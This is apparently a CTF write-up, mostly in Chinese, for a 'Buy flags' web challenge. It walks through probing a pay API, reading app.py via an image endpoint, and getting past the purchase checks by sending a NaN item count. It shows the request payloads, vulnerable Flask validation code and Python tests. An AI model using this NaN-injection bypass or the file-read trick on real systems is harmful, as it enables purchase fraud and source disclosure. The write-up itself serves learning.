Skip to content

Buy flags

Challenge Link: Buy flags

Category: misc

Writeup: Buy flags

Here is an online shop that sells flags :) but we don’t have enough money! Can you buy the flag?

Observation

這是一個可以購買 flag 的網站,可以勾選想要的 flag,然後輸入 coupon,不過 credit 是 0,也不知道 coupon 是啥,所以都只會回傳 "your credit not enough"

pay API

按下 pay 以後會 POST 到 http://46.101.173.61/pay

傳的內容有 coupon 以及點選的 flag 項目及數量

{"card": [{"name": "asis", "count": 1}], "coupon": "YWJj"}

結果也是用 json 回傳

{"result": "your credit not enough"}

這邊有嘗試把 count 改成 0 或是 -1,不過 server 都有處理掉

{"card":[{"name":"asis","count":-1}],"coupon":"aA=="}
{"result": "item count must be greater than zero"}

image API

檢查原始碼以後發現圖片是由 http://46.101.173.61/image?name=asis.png 傳過來的,看起來應該是可以做 LFI,不過經過測試後發現只要輸入 /.. 就會回傳 Access Denied,猜測可能 server 的檔案也放在當前目錄,所以試了 server.py ,但也沒拿到

flask session

Cookie 的部分有一個 session,乍看之下以為是 jwt,第一段可以解出 data,但其他兩段就完全不能解了

後來查了一下才知道是 flask session,後面兩段是用來驗證第一段的 data 的,需要有 secret key 才能偽造

eyJjb3Vwb25zIjpbXSwiY3JlZGl0IjowfQ.Dctipw.Q8aC2jTPn9lLxZQU-0Fc3oBx3Ig
{"coupons":[],"credit":0}

Solution

解法的部分是在賽後參照 Writeup 的

Source code

首先是可以利用 image API 拿到 app.py (flask 的預設 server file)

http://46.101.173.61/image?name=app.py

其中,flag 是放在 private/flag.txt,secret key 則是放在 private/secret.txt

4   app.secret_key = open('private/secret.txt').read()
20  'data': open('private/flag.txt').read()

看一下 image API 的寫法,已經把 private 底下的檔案濾掉了

if '/' in image_name or '..' in image_name or 'private' in image_name:
    return 'Access Denied'

json NaN

最後的解法是在 pay API 把數量改成 NaN 就可以拿到 flag 了

原始碼中,count 的驗證如下

data = request.get_json()
card = data['card']
for flag in card:
    if flag['count'] <= 0:
        return jsonify({'result':'item count must be greater than zero'})

實際測試一下,NaN 在 parse 後是 float,且可以通過 <= 0 的驗證

>>> text = '{"var":NaN}'
>>> data = json.loads(text)
>>> print data
{u'var': nan}
>>> data['var']
nan
>>> type(data['var'])
<type 'float'>
>>> data['var'] <= 0
False

接下來在計算 credit 時的驗證方法如下

for flag in card:
    credit -= flag['count'] * flags[flag['name']]['price']
if credit < 0:
    result = {'result': 'your credit not enough'}

實際測試後發現,只要操作流程中有用到 nan,該變數就會被設成 nan,也就可以順利通過驗證了

>>> credit = 0
>>> credit -= data['var'] * 110
>>> credit
nan
>>> credit < 0
False